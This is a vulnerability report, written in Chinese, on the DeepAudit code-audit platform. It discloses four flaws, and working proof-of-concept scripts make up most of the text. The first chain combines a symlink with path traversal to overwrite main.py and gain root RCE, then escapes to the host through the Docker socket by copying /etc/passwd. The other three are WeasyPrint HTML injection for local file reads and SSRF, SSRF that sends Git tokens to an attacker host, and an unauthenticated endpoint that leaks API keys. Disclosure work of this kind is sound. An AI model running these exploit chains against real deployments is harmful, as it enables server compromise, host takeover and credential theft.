DeepAudit 漏洞报告

软件名称:DeepAudit

开发者或厂商:lintsinghua

代码仓库:https://github.com/lintsinghua/DeepAudit

1. 项目 ID 路径穿越导致 RCE

简要描述:攻击者通过导入项目控制 Project.id,再经 ZIP 上传接口写入指定路径,最终覆盖 main.py 实现 RCE。
影响版本:2.0.0-beta.1 ~ 3.0.4(ZIP 存储与导入由 bfef3b3 引入)。
前置条件:攻击者有普通权限账号;受害系统可访问到攻击者提供的 Git 仓库。

漏洞成因

/database/import 只校验导入文件中的用户 ID,随后把请求体里的字符串作为 Project.id。相关代码如下:

# backend/app/api/v1/endpoints/database.py:202-251    commit 5ee9e2297b
async def import_database(...):
    ...
        data = import_data["data"]
        if data.get("user", {}).get("id") != current_user.id:
            raise HTTPException(status_code=403, detail="只能导入自己的数据")
        ...
        if "projects" in data:
            for p_data in data["projects"]:
                existing = await db.get(Project, p_data.get("id"))
                if not existing:
                    project = Project(
                        id=p_data.get("id"),
                        ...
                        owner_id=current_user.id,
                    )

/scan/upload-zip 的 project_id 是 Form 参数,没有 UUID 或路径格式校验。相关代码如下:

# backend/app/api/v1/endpoints/scan.py:230-268    commit 5ee9e2297b
async def scan_zip(
    ...
    project_id: str = Form(...),
    ...
):
    project = await db.get(Project, project_id)
    ...
    await save_project_zip(project_id, file_path, file.filename)

save_project_zip 拼接 project_id 和扩展名,再用 shutil.copy2 复制文件。相关代码如下:

# backend/app/services/zip_storage.py:22-48    commit 5ee9e2297b
def get_project_zip_path(project_id: str) -> Path:
    return get_zip_storage_path() / f"{project_id}.zip"

def get_project_zip_meta_path(project_id: str) -> Path:
    return get_zip_storage_path() / f"{project_id}.meta"

async def save_project_zip(project_id: str, file_path: str, original_filename: str) -> dict:
    target_path = get_project_zip_path(project_id)
    meta_path = get_project_zip_meta_path(project_id)
    shutil.copy2(file_path, target_path)

当 project_id 是绝对路径时,Path 会丢弃存储目录前缀,目标路径就变成攻击者指定的位置。再加一层符号链接,shutil.copy2 会跟随链接写入链接指向的文件。

符号链接来自 Agent 任务的仓库克隆。repository_type=other 时,服务端用 git clone 把攻击者仓库克隆到 /tmp/deepaudit/<task_id>,Git 会保留仓库里的符号链接。相关代码如下:

# backend/app/api/v1/endpoints/agent_tasks.py:2278,2565-2571    commit 5ee9e2297b
    base_path = f"/tmp/deepaudit/{task_id}"
    ...
    ["git", "clone", "--depth", "1", "--branch", branch, auth_url, base_path]

官方 compose 的 backend 使用 uvicorn --reload,相关配置如下:

# docker-compose.yml:46,69    commit 5ee9e2297b
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
    command: sh -c ".venv/bin/alembic upgrade head && .venv/bin/uvicorn app.main:app --host 0.0.0.0 --port 8000 --reload"

因此,攻击者先用 Git 仓库创建符号链接 evil.zip -> /app/app/main.py,再用路径穿越把内容写到 evil.zip,main.py 被覆盖,uvicorn --reload 自动重新加载时执行。

官方 compose 中,后端挂载了宿主 Docker socket,故容器内 RCE 之后,可以读写宿主机文件系统。

复现环境搭建

使用官方 compose 部署:

git clone https://github.com/lintsinghua/DeepAudit.git
cd DeepAudit
cat > backend/.env <<'EOF'
SECRET_KEY=test-secret-key-for-deepaudit-report
LLM_PROVIDER=openai
LLM_API_KEY=sk-report-test
LLM_MODEL=gpt-4o-mini
GITHUB_TOKEN=ghp_REPORT_TEST
GITLAB_TOKEN=glpat-REPORT_TEST
GITEA_TOKEN=gitea-REPORT_TEST
OPENAI_API_KEY=sk-proj-REPORT_TEST
EOF
docker compose up -d --build

每次复现前先执行 docker compose down -v 重建环境。

在攻击者主机上创建带符号链接的 Git 仓库,并启动 git daemon。下文以 192.0.2.10 表示攻击者主机:

mkdir -p /tmp/evil-repo
cd /tmp/evil-repo
git init -b main
ln -s /app/app/main.py evil.zip
git add evil.zip
git -c user.email=report@example.com -c user.name=report commit -m init
git clone --bare . /tmp/git-root/evil.git
git daemon --export-all --base-path=/tmp/git-root --reuseaddr --listen=0.0.0.0 --port=9418

复现过程

注册账号,创建一个 repository_type=other 的项目,启动 Agent 任务,等待仓库被克隆到 /tmp/deepaudit/<task_id>:

import io
import json
import time

import httpx

BASE = "http://127.0.0.1:8000/api/v1"
ATTACKER = "192.0.2.10"

c = httpx.Client(timeout=60)
email = f"zip-rce-{int(time.time())}@example.com"
c.post(f"{BASE}/auth/register", json={
    "email": email,
    "password": "Passw0rd!123",
    "full_name": "zip",
})
token = c.post(f"{BASE}/auth/login", data={
    "username": email,
    "password": "Passw0rd!123",
}).json()["access_token"]
headers = {"Authorization": f"Bearer {token}"}
user_id = c.get(f"{BASE}/users/me", headers=headers).json()["id"]

repo = c.post(f"{BASE}/projects/", headers=headers, json={
    "name": "repo",
    "source_type": "repository",
    "repository_url": f"git://{ATTACKER}:9418/evil.git",
    "repository_type": "other",
    "default_branch": "main",
}).json()

agent_task = c.post(f"{BASE}/agent-tasks/", headers=headers, json={
    "project_id": repo["id"],
    "name": "clone",
}).json()

time.sleep(6)
task_id = agent_task["id"]
target = f"/tmp/deepaudit/{task_id}/evil"

payload = {
    "data": {
        "user": {"id": user_id},
        "projects": [{
            "id": target,
            "name": "zip",
            "source_type": "zip",
        }],
    }
}
c.post(
    f"{BASE}/database/import",
    headers=headers,
    files={"file": ("data.json", json.dumps(payload).encode(), "application/json")},
)

code = b"""import os
os.system('id > /tmp/rce-marker')
try:
    import docker
    docker.from_env().containers.run(
        'postgres:15-alpine',
        entrypoint=['sh', '-c'],
        command=['id > /host/tmp/host-root-marker; cp /host/etc/passwd /host/tmp/host-passwd'],
        volumes={'/': {'bind': '/host', 'mode': 'rw'}},
        privileged=True,
        remove=True,
    )
except Exception as e:
    open('/tmp/rce-docker-error', 'w').write(repr(e))
from fastapi import FastAPI
app = FastAPI()
"""
c.post(
    f"{BASE}/scan/upload-zip",
    headers=headers,
    data={"project_id": target},
    files={"file": ("evil.zip", io.BytesIO(code), "application/zip")},
)
print("task_id:", task_id)
print("target:", target)

uvicorn --reload 检测到 /app/app/main.py 被覆盖后重新加载,payload 以 root 执行。等待几秒后查看容器内标记:

docker compose exec backend cat /tmp/rce-marker

输出如下:

uid=0(root) gid=0(root) groups=0(root)

payload 通过宿主 Docker socket 启动 privileged 容器,把宿主根文件系统挂载到 /host,于是在宿主侧可以看到:

cat /tmp/host-root-marker
cat /tmp/host-passwd

输出如下:

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

本攻击链覆盖 main.py 是最简单的破坏性写法。实际上可以写入其他 .py 文件,在不破坏系统正常工作的前提下隐蔽地 RCE。

2. PDF 报告 subtitle 注入导致服务端文件读取与 SSRF

简要描述:项目名进入 PDF 报告的 subtitle 时未经过 HTML 转义,攻击者可让服务端读取本地文件或访问内网地址。
影响版本:3.0.2 ~ 3.0.4(报告导出功能由 c0ac7d0 引入,后续 89ebd4d 的转义修复未覆盖 subtitle)。
前置条件:攻击者有普通权限账号。

漏洞成因

ReportGenerator.generate_task_report 使用项目名和分支名拼接 subtitle。相关代码如下:

# backend/app/services/report_generator.py:489-499    commit 5ee9e2297b
    @classmethod
    def generate_task_report(cls, task: Dict[str, Any], issues: List[Dict[str, Any]], project: str = "项目") -> bytes:
        score = task.get('quality_score', 0)

        context = {
            'title': '项目代码审计报告',
            'subtitle': f"项目: {project} | 分支: {task.get('branch_name', 'default')}",

模板把 subtitle 原样插入 HTML,渲染时使用的 Template 没有开启自动转义。相关代码如下:

# backend/app/services/report_generator.py:294-300,454-461    commit 5ee9e2297b
                    <div class="title-group">
                        <h1 class="title">{{ title }}</h1>
                        <div class="subtitle">{{ subtitle }}</div>
                    </div>

...

        template = Template(cls._TEMPLATE)

_process_issues 对 issue 的 title、description、suggestion、file_path 和 code_snippet 调用了 html.escape,但 subtitle 不经过这段处理。相关代码如下:

# backend/app/services/report_generator.py:406-447    commit 5ee9e2297b
    @classmethod
    def _escape_html(cls, text: str) -> str:
        if text is None:
            return None
        return html.escape(str(text))

    @classmethod
    def _process_issues(cls, issues: List[Dict]) -> List[Dict]:
        ...
            item['suggestion'] = cls._escape_html(suggestion)
            item['title'] = cls._escape_html(item.get('title', ''))
            item['file_path'] = cls._escape_html(item.get('file_path'))

项目名由客户端在创建项目时提交,随后被 PDF 端点读取并交给 WeasyPrint。攻击者把项目名设为带 file:// 或 http:// 的 <link rel="attachment">,WeasyPrint 会按 HTML 解析该标签并在生成的 PDF 中附带目标内容。

复现环境搭建

沿用第 1 节的官方 compose 环境,复现前先执行 docker compose down -v 重建环境。环境启动后注册一个普通账号,再创建一个 ZIP 类型项目。

复现过程

先把项目名设置为读取 /etc/passwd 的 payload,上传一个普通 ZIP 并生成任务,最后下载任务报告:

import io
import time
import zipfile

import httpx
from pypdf import PdfReader

BASE = "http://127.0.0.1:8000/api/v1"
c = httpx.Client(timeout=120)
email = f"pdf-report-{int(time.time())}@example.com"
c.post(f"{BASE}/auth/register", json={
    "email": email,
    "password": "Passw0rd!123",
    "full_name": "report",
})
token = c.post(f"{BASE}/auth/login", data={
    "username": email,
    "password": "Passw0rd!123",
}).json()["access_token"]
headers = {"Authorization": f"Bearer {token}"}

payload = '<link rel="attachment" href="file:///etc/passwd" title="passwd">'
project = c.post(f"{BASE}/projects/", headers=headers, json={
    "name": payload,
    "source_type": "zip",
    "repository_type": "other",
    "default_branch": "main",
}).json()

buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as z:
    z.writestr("hello.py", "print(1)\n")
task = c.post(
    f"{BASE}/scan/upload-zip",
    headers=headers,
    data={"project_id": project["id"]},
    files={"file": ("source.zip", buf.getvalue(), "application/zip")},
).json()

time.sleep(1)
pdf = c.get(f"{BASE}/tasks/{task['task_id']}/report/pdf", headers=headers)
reader = PdfReader(io.BytesIO(pdf.content))
print("status:", pdf.status_code)
print("attachments:", list(reader.attachments))
for name, parts in reader.attachments.items():
    print(name)
    print(b"".join(parts).decode("utf-8", "ignore")[:2000])

输出如下:

status: 200
attachments: ['passwd']
passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

把 file:///etc/passwd 换成 http://127.0.0.1:8000/health,生成的 PDF 附件中是 {"status":"ok"},说明服务端也会向内网地址发起 GET 请求。

3. GitLab/Gitea 仓库地址 SSRF 导致服务端 Git Token 泄露

简要描述:仓库地址可指向攻击者主机,服务端在获取分支时会把全局 GitLab 或 Gitea Token 发送到该地址。
影响版本:3.0.3 ~ 3.0.4(repo_utils.py 由 1c0ec2b 引入,Gitea 支持由 0fb10f6 引入)。
前置条件:攻击者有普通权限账号,且目标配置了 GitLab 或 Gitea Token。

漏洞成因

parse_repository_url 只检查 URL 的 scheme,随后把用户 URL 的 netloc 作为 API 的 host。相关代码如下:

# backend/app/utils/repo_utils.py:38-68    commit 5ee9e2297b
    parsed = urlparse(repo_url)
    if parsed.scheme not in ('http', 'https'):
         raise ValueError(f"{repo_type} 仓库 URL 必须使用 http 或 https 协议")

    ...
    base = f"{parsed.scheme}://{parsed.netloc}"

    if repo_type == "github":
        ...
    elif repo_type == "gitlab":
        ...
        api_base = f"{base}/api/v4"

    elif repo_type == "gitea":
        ...
        api_base = f"{base}/api/v1"

get_gitlab_branches 和 get_gitea_branches 使用这个 base_url 发起请求。当用户没有提供自己的 Token 时,gitlab_api 和 gitea_api 会回退到全局配置。相关代码如下:

# backend/app/services/scanner.py:122-152    commit 5ee9e2297b
async def gitea_api(url: str, token: str = None) -> Any:
    headers = {"Content-Type": "application/json"}
    t = token or settings.GITEA_TOKEN
    if t:
        headers["Authorization"] = f"token {t}"
    ...

async def gitlab_api(url: str, token: str = None) -> Any:
    headers = {"Content-Type": "application/json"}
    t = token or settings.GITLAB_TOKEN
    if t:
        headers["PRIVATE-TOKEN"] = t

分支接口把全局 Token 传给上述函数。相关代码如下:

# backend/app/api/v1/endpoints/projects.py:687-751    commit 5ee9e2297b
    gitlab_token = settings.GITLAB_TOKEN
    gitea_token = settings.GITEA_TOKEN
    ...
        if project.repository_type == "gitlab":
            branches = await get_gitlab_branches(project.repository_url, gitlab_token)
        elif project.repository_type == "gitea":
            branches = await get_gitea_branches(project.repository_url, gitea_token)

因此,攻击者可以把 repository_url 指向自己的服务器,服务端在请求 /api/v4/... 或 /api/v1/... 时带上全局 Token。

复现环境搭建

沿用第 1 节的官方 compose 环境,复现前先执行 docker compose down -v 重建环境,并在 backend/.env 中设置测试用 Token:

GITLAB_TOKEN=glpat-REPORT_TEST
GITEA_TOKEN=gitea-REPORT_TEST

在攻击者主机上启动一个记录请求头的 Git API mock。下文以 192.0.2.10 表示攻击者主机,端口 8898 仅作示例:

import json
from fastapi import FastAPI, Request

app = FastAPI()
LOG = "/tmp/git-mock.log"

def log(request: Request):
    with open(LOG, "a") as f:
        f.write(json.dumps({
            "path": request.url.path,
            "headers": dict(request.headers),
        }) + "\n")

@app.get("/api/v4/{rest:path}")
async def gitlab(rest: str, request: Request):
    log(request)
    if rest.endswith("/repository/branches"):
        return [{"name": "main"}]
    return {}

@app.get("/api/v1/{rest:path}")
async def gitea(rest: str, request: Request):
    log(request)
    if rest.endswith("/branches"):
        return [{"name": "main"}]
    return {}

启动 mock 服务:

uvicorn git_mock:app --host 0.0.0.0 --port 8898

复现过程

注册一个普通账号,创建一个 GitLab 类型项目,把仓库地址指向 mock 主机,然后请求分支接口:

import time

import httpx

BASE = "http://127.0.0.1:8000/api/v1"
c = httpx.Client(timeout=30)
email = f"git-ssrf-{int(time.time())}@example.com"
c.post(f"{BASE}/auth/register", json={
    "email": email,
    "password": "Passw0rd!123",
    "full_name": "git",
})
token = c.post(f"{BASE}/auth/login", data={
    "username": email,
    "password": "Passw0rd!123",
}).json()["access_token"]
headers = {"Authorization": f"Bearer {token}"}

for repo_type in ("gitlab", "gitea"):
    project = c.post(f"{BASE}/projects/", headers=headers, json={
        "name": repo_type,
        "source_type": "repository",
        "repository_url": "http://192.0.2.10:8898/group/repo",
        "repository_type": repo_type,
        "default_branch": "main",
    }).json()
    response = c.get(f"{BASE}/projects/{project['id']}/branches", headers=headers)
    print(repo_type, response.status_code, response.text)

输出如下:

gitlab 200 {"branches":["main"],"default_branch":"main"}
gitea 200 {"branches":["main"],"default_branch":"main"}

攻击者主机上的 mock 日志如下:

{"path": "/api/v4/projects/group/repo/repository/branches",
 "headers": {"private-token": "glpat-REPORT_TEST", ...}}

{"path": "/api/v1/repos/group/repo/branches",
 "headers": {"authorization": "token gitea-REPORT_TEST", ...}}

4. 未授权接口泄露OpenAI API key等密钥

简要描述:/api/v1/config/defaults 不需要登录就返回服务端 GitHub Token、GitLab Token 和 LLM API Key。
影响版本:2.0.0-beta.1 ~ 3.0.4(get_default_config 由 f640bfb 引入)。
前置条件:目标配置了服务端 Git Token 或 LLM Key。

漏洞成因

config.py 中的默认配置函数直接读取 settings 中的密钥。相关代码如下:

# backend/app/api/v1/endpoints/config.py:109-150    commit 5ee9e2297b
def get_default_config() -> dict:
    return {
        "llmConfig": {
            ...
            "openaiApiKey": settings.OPENAI_API_KEY or "",
            ...
        },
        "otherConfig": {
            "githubToken": settings.GITHUB_TOKEN or "",
            "gitlabToken": settings.GITLAB_TOKEN or "",
            ...
        }
    }

对应的 HTTP 端点没有认证依赖。相关代码如下:

# backend/app/api/v1/endpoints/config.py:152-154    commit 5ee9e2297b
@router.get("/defaults")
async def get_default_config_endpoint() -> Any:
    """获取系统默认配置(无需认证)"""
    return get_default_config()

复现环境搭建

沿用第 1 节的官方 compose 环境,复现前先执行 docker compose down -v 重建环境,并在 backend/.env 中设置测试值:

GITHUB_TOKEN=ghp_REPORT_TEST
GITLAB_TOKEN=glpat-REPORT_TEST
OPENAI_API_KEY=sk-proj-REPORT_TEST

复现过程

不携带 Cookie 或 Authorization 请求该端点:

curl -s http://127.0.0.1:8000/api/v1/config/defaults

响应中的敏感字段如下:

{
  "llmConfig": {
    "llmApiKey": "",
    "openaiApiKey": "sk-proj-REPORT_TEST"
  },
  "otherConfig": {
    "githubToken": "ghp_REPORT_TEST",
    "gitlabToken": "glpat-REPORT_TEST"
  }
}

该接口同时返回 geminiApiKey、claudeApiKey、qwenApiKey、deepseekApiKey 等服务端 Key 字段。